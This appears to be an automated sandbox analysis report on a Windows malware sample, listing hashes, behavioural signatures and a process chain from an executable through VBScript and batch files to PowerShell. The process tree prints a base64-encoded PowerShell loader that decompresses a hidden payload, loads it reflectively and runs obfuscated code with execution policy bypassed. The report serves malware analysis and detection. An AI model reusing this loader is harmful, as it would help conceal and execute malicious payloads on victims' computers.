Analysis
-
max time kernel
117s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
03/04/2024, 11:47
Static task
static1
Behavioral task
behavioral1
Sample
fwuvzd.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
fwuvzd.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral3
Sample
⠨/start.vbs
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
⠨/start.vbs
Resource
win10v2004-20240226-en
Behavioral task
behavioral5
Sample
⠨/temp.bat
Resource
win7-20240221-en
Behavioral task
behavioral6
Sample
⠨/temp.bat
Resource
win10v2004-20231215-en
General
-
Target
fwuvzd.exe
-
Size
286KB
-
MD5
a6f9fd517c37cf1b39aeb4c88177366c
-
SHA1
6bce5757df0f69560d8eba5fedf46ef1682eb188
-
SHA256
664b37245df07f80723d2a014fd31e77b3ee06074d1eda962c167aacaa9d9bc3
-
SHA512
96907d2a872eda21d76016afb5aaeb87e7524df41d7347f4bb9c7a054636a4640c812fd459c06bf40235c91476eb1468ed06eb8da4597df64a21f30379a1d7d2
-
SSDEEP
6144:xfL+oq+hnjsVl3dRQTLUSy3io7TOTnM35BRTYlrTRhCD0tqmUsZJoU:xfL5njsVlNucSy3iZC5PIptSU
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2588 powershell.exe 2560 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2588 powershell.exe Token: SeDebugPrivilege 2560 powershell.exe -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 2356 wrote to memory of 1692 2356 fwuvzd.exe 28 PID 2356 wrote to memory of 1692 2356 fwuvzd.exe 28 PID 2356 wrote to memory of 1692 2356 fwuvzd.exe 28 PID 2356 wrote to memory of 1692 2356 fwuvzd.exe 28 PID 1692 wrote to memory of 3052 1692 wscript.exe 29 PID 1692 wrote to memory of 3052 1692 wscript.exe 29 PID 1692 wrote to memory of 3052 1692 wscript.exe 29 PID 1692 wrote to memory of 3052 1692 wscript.exe 29 PID 3052 wrote to memory of 2588 3052 cmd.exe 31 PID 3052 wrote to memory of 2588 3052 cmd.exe 31 PID 3052 wrote to memory of 2588 3052 cmd.exe 31 PID 3052 wrote to memory of 2588 3052 cmd.exe 31 PID 3052 wrote to memory of 2560 3052 cmd.exe 32 PID 3052 wrote to memory of 2560 3052 cmd.exe 32 PID 3052 wrote to memory of 2560 3052 cmd.exe 32 PID 3052 wrote to memory of 2560 3052 cmd.exe 32
Processes
-
C:\Users\Admin\AppData\Local\Temp\fwuvzd.exe"C:\Users\Admin\AppData\Local\Temp\fwuvzd.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2356 -
C:\Windows\SysWOW64\wscript.exe"wscript.exe" "C:\Users\Admin\start.vbs"2⤵
- Suspicious use of WriteProcessMemory
PID:1692 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\temp.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:3052 -
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KDQokZW5jb2RlZEFycmF5ID0gQCgxNTksMjIwLDIzOCwyMzgsMjI0LDIzMiwyMjEsMjMxLDI0NCwxNjksMTkyLDIzMywyMzksMjM3LDI0NCwyMDMsMjM0LDIyOCwyMzMsMjM5LDE2OSwxOTYsMjMzLDI0MSwyMzQsMjMwLDIyNCwxNjMsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjcsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjQsMTgyKQ0KJGRlY29kZWRTdHJpbmcgPSBDb252ZXJ0LUFzY2lpVG9TdHJpbmcgJGVuY29kZWRBcnJheQ0KDQoNCiRmaWxlUGF0aCA9IEpvaW4tUGF0aCAkZW52OlVzZXJQcm9maWxlICItdGVtcC5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\-temp.ps1' -Encoding UTF8"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2588
-
-
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\-temp.ps1"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2560
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5c85cd2f6e6462d17628dfbc45bbefc50
SHA1bdfe72dcd76c67404719fd653c90600065bd7c95
SHA25609cf28610815212a352b962f37ef96d67e43484d132bd845f9b150ceab8ca190
SHA512564df0161752ed2149f9a5923153d06357544234691876fc61bbc781a6b33a871dbc571dfa0d462e935ef405bb2c1857a7ea17d1fb33ce703d165df2ec342a05
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD50db58e9c618a317cca323cfcda030bad
SHA1f9b78821e914eb5955c78809ed2e95ac27be264d
SHA256fc59039baf53a8bcd0616ef3f218ff686bd8a860ca4c488489efa3ed79c80c41
SHA512b78178d0f52a84be0d4f72a67f0265288242a5c43f6f0847ee1db2696226c76d8b412f3527dc04a28af9262a7ce2be628a6802678f4cf070a70fdc7304fc9992
-
Filesize
231B
MD5abe1dd23ab4c11aae54f1898c780c0b5
SHA1bb2f974b3e0af2baa40920b475582bfd4fb28001
SHA25689054e19532a9a62ca3403a8899495bf6f06557ff886b475a04227eb8aba7b12
SHA512e9ec437a32301078ea69ce2f36dadab68315d5e56d94c4d579d3409ccbe0c9e00c3aed7baa0fa6d656fb8ed23213f4c01fb2d108c1a0ed11c58c76cd00f9a99d
-
Filesize
233KB
MD558b55cc56434f24c5dfff90a59c34b35
SHA139583e91e02cd52ef110b9bdab9bd974316db642
SHA2565639b5fd5b7647b3cf2a043984f7ed3f3ceb1471db67d697fa6c3a84c5a33bf9
SHA5128f8a6c44cdf30cbd6a1afed453a0ff1e2487042b2c45832f6aa25469585d097431c91c13598d8bf13f36b03805ebffb665b58ccb0f42859c1c2691fe33dd0be2